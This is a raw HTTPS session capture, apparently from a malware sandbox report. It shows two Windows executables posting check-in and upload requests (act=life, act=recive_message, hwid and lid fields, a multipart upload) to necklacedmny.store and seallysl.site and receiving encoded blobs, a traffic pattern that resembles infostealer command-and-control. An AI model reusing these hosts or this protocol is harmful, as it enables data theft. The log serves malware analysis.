2024-10-29 23:21:31 UTC	1014	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:21:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rgemfalpsle0tktp0ob7ljslna; expires=Sat, 22 Feb 2025 17:08:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q7fmc4AaCAa5CWdesmB4IytkBke8686%2BGuKOGYY4IOl6mYc4pGUXIQyAtPsZD5cLUgFwc1GOBZZr%2FIsTAo1VRQimunJPnwCe9y4%2F6cqoFaXepayZEs6kmGA6RF0oMnlx2mp1j%2FI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e703cac80bfb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1331&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=2192278&cwnd=32&unsent_bytes=0&cid=35b3d64d594e03f9&ts=702&x=0"
2024-10-29 23:21:31 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-29 23:21:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	59814	188.114.97.3	443	4280	C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:21:33 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-29 23:21:33 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-29 23:21:33 UTC	1015	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:21:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4414k31h5ovqiig3cajhtuaq3v; expires=Sat, 22 Feb 2025 17:08:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b3UMvjzi%2BXa8oZ7zL0iGiut2Lsrf8zXqIvd1zp4qCb3D0y%2Bo9QpqcgGgWsMjAl88HJr2sOK58awINU5OCut5iXj6qdsCPQUElDoXojpOyQaF0hSMo4O%2FVSOd2IyT%2BPzxNvTJDlE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e70e194c4680-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1154&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2344939&cwnd=242&unsent_bytes=0&cid=d87e57cdbbccd72e&ts=743&x=0"
2024-10-29 23:21:33 UTC	354	IN	Data Raw: 34 64 66 0d 0a 2b 57 49 4b 39 76 4c 70 39 73 73 74 69 4d 4b 62 36 58 52 76 4b 46 75 72 49 70 47 79 39 6e 77 65 79 6d 43 30 57 7a 39 76 55 68 43 43 51 48 7a 55 79 4e 33 61 36 56 37 74 34 4b 47 64 42 68 70 4e 64 34 6c 44 39 5a 44 4d 47 6e 2b 6d 45 39 46 33 48 52 6b 2f 4d 73 4d 45 61 35 71 42 6a 4e 72 70 53 50 44 67 6f 62 49 50 54 55 30 31 69 52 69 7a 31 35 77 65 66 36 59 43 31 54 42 51 48 7a 35 7a 6b 51 35 74 6e 70 65 4b 6b 71 70 42 35 61 66 2b 6a 42 55 46 52 6a 4c 47 53 76 79 51 32 6c 35 37 73 45 4b 4f 65 58 49 4b 4a 6e 47 30 41 33 6d 64 30 4a 54 61 73 41 2f 74 72 4c 6e 54 56 67 35 4e 4f 63 64 45 39 64 6d 65 46 48 61 75 41 39 41 78 54 77 59 30 65 4a 45 41 62 70 2b 64 67 34 61 6e 53 2b 4b 73 2b 49 59 56 54 51 52 35 7a 6c 69 7a 69 4e 52 4e 54 71 73 54 78 79 Data Ascii: 4df+WIK9vLp9sstiMKb6XRvKFurIpGy9nweymC0Wz9vUhCCQHzUyN3a6V7t4KGdBhpNd4lD9ZDMGn+mE9F3HRk/MsMEa5qBjNrpSPDgobIPTU01iRiz15wef6YC1TBQHz5zkQ5tnpeKkqpB5af+jBUFRjLGSvyQ2l57sEKOeXIKJnG0A3md0JTasA/trLnTVg5NOcdE9dmeFHauA9AxTwY0eJEAbp+dg4anS+Ks+IYVTQR5zliziNRNTqsTxy
2024-10-29 23:21:33 UTC	900	IN	Data Raw: 70 53 37 52 2b 47 72 2f 4a 6b 64 42 45 63 30 79 55 33 35 33 35 63 65 65 36 49 49 32 54 4e 5a 41 44 31 30 6d 77 41 6f 32 74 43 4d 6a 4f 6b 58 71 6f 50 38 6d 78 45 42 58 48 76 7a 41 4f 79 65 6a 56 35 37 70 45 4b 4f 65 56 55 49 4d 33 47 51 44 32 75 63 6d 35 6d 55 75 30 6e 6e 70 65 75 4e 45 77 4e 41 4f 74 74 4b 2f 64 61 58 46 33 65 68 42 39 45 39 48 55 4e 77 64 59 4e 41 4d 4e 53 78 68 70 2b 6c 52 66 32 67 75 5a 52 59 46 41 6f 2b 78 51 43 72 6b 4a 41 66 65 4b 6b 47 32 44 64 5a 41 54 5a 38 6c 67 39 75 6e 70 43 4d 6e 71 46 48 36 36 33 79 68 42 59 49 52 7a 33 50 54 50 4c 56 31 46 41 38 72 78 71 57 59 52 30 6a 4e 33 47 4a 51 6c 32 58 6e 6f 57 54 76 77 2f 31 37 75 44 4c 45 51 45 4b 59 59 6c 4f 39 74 2b 47 48 32 36 74 44 4d 51 31 57 41 73 39 63 5a 55 41 62 5a 4f 64 Data Ascii: pS7R+Gr/JkdBEc0yU3535cee6II2TNZAD10mwAo2tCMjOkXqoP8mxEBXHvzAOyejV57pEKOeVUIM3GQD2ucm5mUu0nnpeuNEwNAOttK/daXF3ehB9E9HUNwdYNAMNSxhp+lRf2guZRYFAo+xQCrkJAfeKkG2DdZATZ8lg9unpCMnqFH663yhBYIRz3PTPLV1FA8rxqWYR0jN3GJQl2XnoWTvw/17uDLEQEKYYlO9t+GH26tDMQ1WAs9cZUAbZOd
2024-10-29 23:21:33 UTC	1369	IN	Data Raw: 33 66 38 64 0d 0a 67 52 75 4f 79 38 34 63 59 48 30 63 7a 7a 45 37 2f 31 5a 73 65 66 61 6b 4d 33 44 49 64 51 33 42 31 67 30 41 77 31 4c 2b 47 68 4c 74 46 34 62 47 37 76 68 55 44 52 44 37 66 41 4f 79 65 6a 56 35 37 70 45 4b 4f 65 56 59 4c 50 48 36 62 42 6e 71 61 6e 35 6d 65 75 30 76 6b 70 50 57 46 48 77 42 46 50 4e 74 45 38 38 4b 56 47 33 75 6d 44 38 51 38 48 55 4e 77 64 59 4e 41 4d 4e 53 71 76 35 4f 35 58 75 33 69 7a 49 67 59 41 30 30 76 69 56 2b 39 79 64 51 5a 63 4f 68 61 6c 6a 70 52 41 44 6c 33 6c 42 4a 69 6d 4a 47 5a 6b 36 42 47 34 4b 48 33 68 42 30 42 54 79 76 43 54 2f 76 66 6c 52 4e 78 6f 77 62 57 65 52 4e 4e 4e 32 72 62 57 43 69 31 6e 59 53 47 71 6c 36 6f 6c 66 71 46 47 41 70 63 65 64 59 4f 36 70 43 54 45 6a 7a 77 51 74 63 31 55 51 77 2f 64 4a 45 49 Data Ascii: 3f8dgRuOy84cYH0czzE7/1ZsefakM3DIdQ3B1g0Aw1L+GhLtF4bG7vhUDRD7fAOyejV57pEKOeVYLPH6bBnqan5meu0vkpPWFHwBFPNtE88KVG3umD8Q8HUNwdYNAMNSqv5O5Xu3izIgYA00viV+9ydQZcOhaljpRADl3lBJimJGZk6BG4KH3hB0BTyvCT/vflRNxowbWeRNNN2rbWCi1nYSGql6olfqFGApcedYO6pCTEjzwQtc1UQw/dJEI
2024-10-29 23:21:33 UTC	1369	IN	Data Raw: 2b 51 71 55 4c 68 72 76 65 43 47 67 56 47 50 74 74 4e 39 74 69 65 46 33 6d 6b 44 39 55 72 58 67 78 77 50 4e 73 48 63 4e 54 49 79 37 4f 61 65 4d 6e 67 35 73 55 50 54 55 30 31 69 52 69 7a 30 5a 77 5a 63 71 77 51 32 43 74 54 43 6a 42 30 6b 77 68 76 6d 4a 36 46 68 71 46 4f 36 71 37 32 67 78 38 4a 53 7a 33 4e 54 50 53 51 32 6c 35 37 73 45 4b 4f 65 58 55 4f 4b 6d 6a 5a 4c 6d 4f 55 6c 35 75 43 73 67 2f 31 37 75 44 4c 45 51 45 4b 59 59 6c 45 2b 4e 71 64 48 58 57 73 44 39 59 77 55 67 51 34 66 35 4d 53 61 5a 36 43 6a 35 47 6f 51 4f 43 6b 38 59 63 5a 41 55 34 72 77 67 43 39 6b 4a 4d 47 50 50 42 43 39 6a 4a 4c 4c 69 4a 67 32 78 38 6d 6a 64 43 4d 6d 4f 6b 58 71 71 6e 31 69 68 63 48 54 44 4c 4d 54 66 50 56 6e 68 6c 77 71 41 4c 56 50 31 73 41 4f 48 71 58 44 47 75 5a 6c Data Ascii: +QqULhrveCGgVGPttN9tieF3mkD9UrXgxwPNsHcNTIy7OaeMng5sUPTU01iRiz0ZwZcqwQ2CtTCjB0kwhvmJ6FhqFO6q72gx8JSz3NTPSQ2l57sEKOeXUOKmjZLmOUl5uCsg/17uDLEQEKYYlE+NqdHXWsD9YwUgQ4f5MSaZ6Cj5GoQOCk8YcZAU4rwgC9kJMGPPBC9jJLLiJg2x8mjdCMmOkXqqn1ihcHTDLMTfPVnhlwqALVP1sAOHqXDGuZl
2024-10-29 23:21:33 UTC	1369	IN	Data Raw: 4a 35 4b 48 2f 68 78 74 4e 42 48 6e 4f 57 4c 4f 49 31 44 6c 6d 70 51 54 42 4b 47 67 4b 4d 43 50 62 48 79 61 4e 30 49 79 59 36 52 65 71 72 66 57 42 47 77 68 4f 4d 63 35 44 38 74 79 51 45 33 47 73 43 39 49 38 54 78 38 32 66 4a 73 50 5a 70 75 63 6d 5a 71 73 54 2b 62 67 74 38 73 52 46 51 70 68 69 58 48 6b 30 4e 51 42 4d 72 46 43 30 54 55 64 56 58 42 39 6c 68 4a 6b 6d 35 43 4b 6c 36 31 45 37 61 62 2f 69 68 55 49 53 54 7a 50 51 66 50 63 6e 68 6c 30 6f 67 7a 62 50 31 6b 4c 4e 6a 4c 56 51 47 2b 4d 30 4e 50 55 6d 30 4c 6b 71 66 71 4e 47 78 74 69 43 49 6c 66 76 63 6e 55 47 58 44 6f 57 70 59 39 56 67 55 38 64 35 4d 46 61 5a 79 61 67 35 75 6d 58 65 75 76 38 49 77 64 41 45 55 33 7a 45 37 68 31 35 38 56 64 4b 45 4d 30 48 6b 54 54 54 64 71 32 31 67 6f 6f 70 4f 46 6e 37 Data Ascii: J5KH/hxtNBHnOWLOI1DlmpQTBKGgKMCPbHyaN0IyY6ReqrfWBGwhOMc5D8tyQE3GsC9I8Tx82fJsPZpucmZqsT+bgt8sRFQphiXHk0NQBMrFC0TUdVXB9lhJkm5CKl61E7ab/ihUISTzPQfPcnhl0ogzbP1kLNjLVQG+M0NPUm0LkqfqNGxtiCIlfvcnUGXDoWpY9VgU8d5MFaZyag5umXeuv8IwdAEU3zE7h158VdKEM0HkTTTdq21goopOFn7
2024-10-29 23:21:33 UTC	1369	IN	Data Raw: 36 34 6f 5a 54 51 52 35 7a 6c 69 7a 69 4e 51 76 61 71 38 46 32 58 74 30 43 69 74 7a 6b 51 4e 6a 6d 4e 43 55 32 72 41 50 37 61 79 35 30 31 59 41 52 6a 54 4e 55 76 2f 51 6c 42 64 37 6f 68 44 5a 4e 6c 41 4f 4d 48 65 4a 41 58 71 62 6d 34 36 58 72 55 44 6c 72 50 47 42 56 6b 4d 4b 50 74 45 41 71 35 43 34 48 57 32 69 51 50 45 6a 53 77 6f 38 59 35 41 4e 5a 4e 53 50 78 59 33 70 53 4f 62 67 6f 63 73 57 44 45 63 72 7a 45 48 35 32 70 6b 57 63 36 30 48 32 54 31 5a 42 6a 35 67 6c 51 39 6f 6b 70 75 4b 6b 61 70 45 34 4b 37 77 6d 56 5a 44 43 6a 37 52 41 4b 75 51 76 67 56 39 70 51 36 55 46 31 59 62 4e 7a 43 36 44 6d 4f 54 6e 4a 33 55 74 67 48 7a 34 50 36 48 56 6c 55 4b 4d 4d 64 4d 38 4e 65 63 46 6e 6d 6f 43 64 59 32 56 77 4d 33 59 4a 45 4d 59 6f 61 66 69 4a 6d 74 51 75 43 Data Ascii: 64oZTQR5zliziNQvaq8F2Xt0CitzkQNjmNCU2rAP7ay501YARjTNUv/QlBd7ohDZNlAOMHeJAXqbm46XrUDlrPGBVkMKPtEAq5C4HW2iQPEjSwo8Y5ANZNSPxY3pSObgocsWDEcrzEH52pkWc60H2T1ZBj5glQ9okpuKkapE4K7wmVZDCj7RAKuQvgV9pQ6UF1YbNzC6DmOTnJ3UtgHz4P6HVlUKMMdM8NecFnmoCdY2VwM3YJEMYoafiJmtQuC
2024-10-29 23:21:33 UTC	1369	IN	Data Raw: 51 45 4b 59 59 6c 41 39 39 79 58 47 58 4b 6e 44 39 6b 2b 56 67 49 36 66 49 6b 50 62 5a 79 63 67 35 6d 37 52 65 43 79 38 49 49 62 41 30 49 72 79 67 43 39 6b 4a 4d 47 50 50 42 43 35 44 4e 65 41 53 5a 2f 6c 45 42 33 32 6f 6e 4c 6b 36 55 50 73 75 44 72 6d 52 59 47 53 6a 37 48 55 76 4c 59 6d 78 52 38 72 67 6e 63 4f 6c 51 4a 50 6e 75 64 41 57 57 56 6b 59 75 52 71 55 62 34 72 62 6e 46 56 67 70 53 65 5a 45 41 78 4e 79 66 4c 33 2b 2b 51 73 6c 33 52 45 30 33 66 74 74 59 4b 4a 57 43 68 70 79 74 54 2b 65 6d 38 6f 6f 58 44 6b 6f 35 79 6b 44 32 32 35 73 59 65 36 55 49 33 7a 42 50 42 54 52 67 6d 77 78 73 31 4e 37 4c 6b 37 45 50 73 75 44 4a 69 42 30 42 53 6a 54 63 41 4f 79 65 6a 56 35 37 70 45 4b 4f 65 56 55 47 4f 33 53 51 41 32 75 61 6d 34 47 62 70 6b 58 73 70 76 47 4f Data Ascii: QEKYYlA99yXGXKnD9k+VgI6fIkPbZycg5m7ReCy8IIbA0IrygC9kJMGPPBC5DNeASZ/lEB32onLk6UPsuDrmRYGSj7HUvLYmxR8rgncOlQJPnudAWWVkYuRqUb4rbnFVgpSeZEAxNyfL3++Qsl3RE03fttYKJWChpytT+em8ooXDko5ykD225sYe6UI3zBPBTRgmwxs1N7Lk7EPsuDJiB0BSjTcAOyejV57pEKOeVUGO3SQA2uam4GbpkXspvGO
2024-10-29 23:21:33 UTC	1369	IN	Data Raw: 57 4c 51 66 37 41 6b 31 34 79 36 41 53 57 59 51 31 44 63 48 61 4b 51 44 44 45 77 74 44 42 2b 68 69 36 38 75 62 46 44 30 31 63 65 5a 45 53 76 5a 43 47 58 69 54 6f 52 64 55 72 54 77 73 7a 5a 4a 68 48 56 71 71 77 67 4a 69 71 51 2b 75 6e 75 63 56 57 41 67 70 68 38 41 44 77 77 6f 5a 52 62 62 34 50 78 6a 34 52 42 53 46 2f 6c 30 41 6d 31 4e 79 50 6e 36 56 4b 37 62 43 32 6d 51 59 47 52 69 2b 46 52 4f 47 51 32 6c 35 74 6f 77 33 45 4e 31 70 43 49 57 53 57 45 47 75 52 6c 38 65 63 75 45 4c 6d 34 4c 66 4c 41 77 5a 47 50 38 52 56 76 4d 47 43 48 57 71 76 54 74 34 6f 55 41 46 77 54 64 56 41 63 4e 54 49 79 36 47 71 51 65 53 6e 37 35 70 62 4c 55 45 31 79 6b 7a 79 31 39 52 51 50 4b 35 43 6a 6d 6f 54 54 54 52 6a 32 31 67 34 78 73 76 65 78 2f 34 66 75 4c 2b 33 6b 6c 59 62 43 Data Ascii: WLQf7Ak14y6ASWYQ1DcHaKQDDEwtDB+hi68ubFD01ceZESvZCGXiToRdUrTwszZJhHVqqwgJiqQ+unucVWAgph8ADwwoZRbb4Pxj4RBSF/l0Am1NyPn6VK7bC2mQYGRi+FROGQ2l5tow3EN1pCIWSWEGuRl8ecuELm4LfLAwZGP8RVvMGCHWqvTt4oUAFwTdVAcNTIy6GqQeSn75pbLUE1ykzy19RQPK5CjmoTTTRj21g4xsvex/4fuL+3klYbC
2024-10-29 23:21:33 UTC	1369	IN	Data Raw: 39 6b 49 5a 65 4a 4f 68 46 32 44 52 63 44 6a 35 78 69 52 4a 75 6c 34 61 49 30 35 64 78 7a 36 33 30 6a 68 67 4b 64 41 66 6f 53 75 50 64 6d 78 6c 43 6c 6a 58 48 50 6b 31 50 46 6e 47 4e 41 79 6a 61 30 4a 50 55 38 51 2f 4c 71 75 6d 47 47 51 6f 4b 64 34 6c 45 73 34 6a 55 4f 33 47 6c 42 39 67 2b 48 79 77 36 59 70 59 50 62 39 54 65 79 35 6a 70 46 36 71 68 38 35 73 62 41 6b 31 31 7a 6c 72 30 6b 4e 70 65 63 75 68 61 6c 6a 68 58 48 54 31 39 6e 45 78 75 6d 70 37 4c 69 2b 64 57 71 72 61 35 30 30 56 44 43 69 75 4a 47 4c 4f 58 6d 68 4e 39 71 77 7a 56 4b 30 38 4c 4d 32 53 59 52 31 61 71 74 59 61 5a 72 45 48 74 6e 73 65 71 48 42 31 48 4e 73 34 43 30 39 65 43 48 55 4b 57 4e 63 63 2b 54 55 38 57 63 59 30 44 4b 4e 72 51 6b 39 54 78 44 38 75 71 36 59 59 5a 43 67 67 5a 7a 6c Data Ascii: 9kIZeJOhF2DRcDj5xiRJul4aI05dxz630jhgKdAfoSuPdmxlCljXHPk1PFnGNAyja0JPU8Q/LqumGGQoKd4lEs4jUO3GlB9g+Hyw6YpYPb9Tey5jpF6qh85sbAk11zlr0kNpecuhaljhXHT19nExump7Li+dWqra500VDCiuJGLOXmhN9qwzVK08LM2SYR1aqtYaZrEHtnseqHB1HNs4C09eCHUKWNcc+TU8WcY0DKNrQk9TxD8uq6YYZCggZzl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	59822	188.114.97.3	443	4280	C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:21:36 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: necklacedmny.store
2024-10-29 23:21:36 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 37 44 36 42 43 44 46 30 35 41 44 34 35 43 37 45 42 31 36 36 44 46 37 46 42 31 45 43 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"497D6BCDF05AD45C7EB166DF7FB1EC2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 23:21:37 UTC	1020	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:21:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nbn3gpnvg1r9kupa7kst3pofug; expires=Sat, 22 Feb 2025 17:08:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EYSxUx2gaS%2B%2FzBNANdMftzxFEXi36mnCri3VH1t0CcS2zAUwwsutcOb%2FsksrAe2eSi%2B%2FFOy5DbKst17uj9bIbz6jMnhYA0VPXsbsDC1jXyqfjXzSARBrGBfCWTRoxSvN8WL73Z0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e7255dfc2e6c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1220&sent=8&recv=16&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13782&delivery_rate=2098550&cwnd=233&unsent_bytes=0&cid=ae428913d2cabd0a&ts=584&x=0"
2024-10-29 23:21:37 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 23:21:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	59824	104.21.43.145	443	6384	C:\Lipras\pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:21:37 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: seallysl.site
2024-10-29 23:21:37 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-29 23:21:38 UTC	1009	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:21:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=np0ue929rkkue71pl7csdvb6mp; expires=Sat, 22 Feb 2025 17:08:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q89HISgGo14twa2WRLTzAHO%2FA6kIwTiAOC6XDT%2BqDR3C5GHFrNhBTj8csAzHlsdzqz%2FVY0Au6N%2BjJFoUoYHT1N0X9RQs%2BXzxooq6zFn7i78zlZV1F5S5BsaWasPO7%2FA4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e7293ef62ca6-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1673&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=904&delivery_rate=1867182&cwnd=251&unsent_bytes=0&cid=3b035d73d273dbb7&ts=877&x=0"
2024-10-29 23:21:38 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-29 23:21:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	59835	104.21.43.145	443	6384	C:\Lipras\pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:21:39 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 42 Host: seallysl.site
2024-10-29 23:21:39 UTC	42	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 67 33 39 32 73 4d 2d 2d 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=g392sM--&j=
2024-10-29 23:21:40 UTC	1007	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:21:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q0ov843n4apj2ejp9jj692b5ij; expires=Sat, 22 Feb 2025 17:08:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OWuL8FTa0sS4LWs%2FJG3JjnKasMHazyg4cN2ZBZX5i8thhA3JIPLcsRQ%2BU8th6HS13CZWHdXGZH77t19ANLLzyVL%2Buo7RchVRS%2BMMqaGsYqFYXDCtfzbSrbVGSTuy8sL%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e7369b8b4763-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1173&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=939&delivery_rate=2445945&cwnd=240&unsent_bytes=0&cid=8db3bafd8963d91e&ts=492&x=0"
2024-10-29 23:21:40 UTC	362	IN	Data Raw: 34 34 36 63 0d 0a 2f 74 6d 41 43 46 6d 51 52 39 47 6a 52 64 2f 76 56 45 54 30 75 6d 31 38 65 67 62 72 6d 7a 57 5a 34 50 32 77 6c 67 6c 4b 53 45 6d 46 2b 2f 59 71 59 36 52 72 38 39 41 67 2f 64 55 67 4e 6f 48 66 51 56 34 62 59 73 6d 68 55 2f 69 4d 6a 74 57 36 4b 7a 77 6c 61 38 53 2f 34 57 51 71 39 57 76 7a 78 6a 33 39 31 51 38 2f 31 74 38 44 58 6b 41 6b 6a 76 46 58 2b 49 79 66 30 66 31 6d 4f 69 51 71 6c 72 58 6e 59 44 7a 7a 49 37 44 50 4b 4c 71 4b 4d 53 57 65 31 41 51 52 45 6d 76 4a 74 78 66 38 6d 74 2b 4b 74 45 51 76 50 43 69 7a 75 50 4e 6a 65 2b 31 72 71 6f 45 67 73 63 31 75 5a 70 58 66 44 78 41 63 59 6f 44 7a 58 66 47 45 6e 74 54 38 65 53 4d 75 49 5a 61 37 35 47 45 32 2b 6a 65 39 78 53 2b 78 6a 44 73 6c 31 70 5a 50 47 51 41 6b 30 62 6b 45 79 59 47 4f 77 Data Ascii: 446c/tmACFmQR9GjRd/vVET0um18egbrmzWZ4P2wlglKSEmF+/YqY6Rr89Ag/dUgNoHfQV4bYsmhU/iMjtW6Kzwla8S/4WQq9Wvzxj391Q8/1t8DXkAkjvFX+Iyf0f1mOiQqlrXnYDzzI7DPKLqKMSWe1AQREmvJtxf8mt+KtEQvPCizuPNje+1rqoEgsc1uZpXfDxAcYoDzXfGEntT8eSMuIZa75GE2+je9xS+xjDsl1pZPGQAk0bkEyYGOw
2024-10-29 23:21:40 UTC	1369	IN	Data Raw: 69 43 51 74 6e 39 55 43 48 68 56 75 68 76 70 58 2f 49 69 56 33 66 35 76 4a 53 63 74 6e 4c 75 69 4a 48 76 31 50 66 4f 5a 5a 35 36 49 4a 69 47 61 7a 6b 30 6b 57 48 76 48 34 42 66 38 6a 74 2b 4b 74 47 4d 74 4b 53 69 58 74 4f 46 69 4d 4f 41 6c 6f 63 63 71 75 4a 38 77 49 35 6a 53 44 41 77 53 61 6f 2f 36 58 76 43 4c 6d 74 58 77 4b 32 5a 71 4c 49 54 37 75 69 6f 61 2f 79 36 2f 79 7a 43 39 7a 53 6c 6f 6a 35 67 49 45 6c 67 38 79 66 31 57 2f 34 4f 62 33 50 70 76 4a 43 77 6c 6b 62 54 6b 59 44 76 31 4c 37 76 4a 4a 72 43 47 4f 53 61 54 31 51 73 59 46 47 57 4d 75 52 6d 37 68 59 65 53 72 43 73 47 4c 53 69 4f 2b 64 64 70 4e 66 77 69 70 